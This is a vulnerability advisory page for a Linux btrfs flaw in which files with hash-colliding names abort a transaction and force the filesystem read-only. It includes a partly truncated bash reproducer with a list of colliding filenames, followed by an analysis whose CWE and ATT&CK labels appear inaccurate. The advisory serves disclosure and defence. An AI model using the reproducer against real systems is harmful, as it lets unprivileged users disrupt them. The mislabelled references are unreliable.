CVE-2026-43360 in Linux
Summary
by MITRE • 05/08/2026
In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort on file creation due to name hash collision
If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.
Reproducer:
$ cat exploit-hash-collisions.sh #!/bin/bash
DEV=/dev/sdi MNT=/mnt/sdi
# Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
# List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---
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Analysis
by VulDB Data Team • 09/13/2026
The vulnerability in the Linux kernel affects the btrfs filesystem implementation and stems from a flaw in transaction handling during file creation operations. This issue manifests when multiple files are created with names that produce identical hash values, leading to collisions within the directory structure. The btrfs filesystem uses a hash-based indexing system to organize directory entries, and when hash collisions occur, the system attempts to pack these entries into the same directory item. However, each directory item has a fixed size limit determined by the leaf node size, which creates a constraint that can be exploited.
When the system reaches this inherent limit while attempting to store colliding hash entries, it triggers a transaction abort that forces the filesystem into read-only mode. This behavior represents a significant security concern as it allows unprivileged users to perform a denial-of-service attack against the system. The vulnerability is particularly dangerous because it requires no administrative privileges or special capabilities to exploit, making it accessible to any user with basic filesystem access. The attack vector is straightforward: creating a large number of files with hash-colliding names until the directory item limit is exceeded.
The technical implementation of this flaw involves the btrfs transaction management subsystem and its handling of directory item packing. When the filesystem encounters a hash collision, it must attempt to store multiple directory entries within a single directory item, but the fixed-size leaf nodes prevent this from occurring indefinitely. The system's response to exceeding this limit is a hard transaction abort, which is designed as a safety mechanism but becomes a weapon when abused. This mechanism is defined by CWE-129, which addresses improper handling of buffer sizes and limits in data structures, and aligns with ATT&CK technique T1499.004 for network denial of service.
The reproducer script demonstrates the exploitation process by creating a btrfs filesystem with the smallest node size to maximize the likelihood of hash collisions occurring quickly. It uses a predefined list of filenames that have been selected to produce identical crc32c hash values, which is a well-known property of the hash function used by btrfs. The attack is particularly effective because the filesystem's internal data structures are designed to optimize performance under normal conditions, but the edge case of hash collisions creates a scenario where the safety mechanisms become attack vectors. The impact is not limited to a single filesystem operation but affects the entire system's availability.
Mitigation strategies for this vulnerability include kernel updates that address the specific transaction handling flaw, filesystem parameter tuning to increase node sizes and reduce collision probability, and implementation of access controls that limit the number of files that can be created in a single directory. System administrators should also consider monitoring for unusual directory creation patterns that might indicate exploitation attempts. The fix typically involves modifying the transaction management logic to gracefully handle hash collisions without aborting the entire transaction, ensuring that filesystem operations continue to function even under conditions that previously triggered the abort mechanism.